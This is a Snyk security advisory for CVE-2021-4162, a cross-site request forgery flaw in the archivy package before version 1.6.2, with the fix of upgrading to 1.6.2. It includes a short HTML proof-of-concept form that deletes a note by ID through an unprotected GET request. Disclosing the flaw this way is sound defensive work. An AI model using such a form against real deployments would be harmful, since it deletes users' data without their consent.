Cross-site Request Forgery (CSRF) Affecting archivy package, versions [,1.6.2)
Threat Intelligence
EPSS
0.07% (31st
percentile)
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Test your applications- Snyk ID SNYK-PYTHON-ARCHIVY-2326695
- published 26 Dec 2021
- disclosed 26 Dec 2021
- credit Scaramouche
Introduced: 26 Dec 2021
CVE-2021-4162 Open this link in a new tabHow to fix?
Upgrade archivy to version 1.6.2 or higher.
Overview
archivy is a Minimalist knowledge base focused on digital preservation and building your second brain.
Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) due to missing CSRF token validation in /dataobj/delete/<int:dataobj_id>, which makes it possible to accept "GET" and "DELETE" methods instead of "POST" method.
POC:
- Create any note, get it's ID.
- Run page from
PoC.htmlwith concrete ID in your browser, click the button. - Observe that the note with specified ID was deleted.
// PoC.html
<form action="http://127.0.0.1:5000/dataobj/delete/{yourNoteID}" method="GET">
<input type="submit" value="Click me"/>
</form>
References
CVSS Scores
version 3.1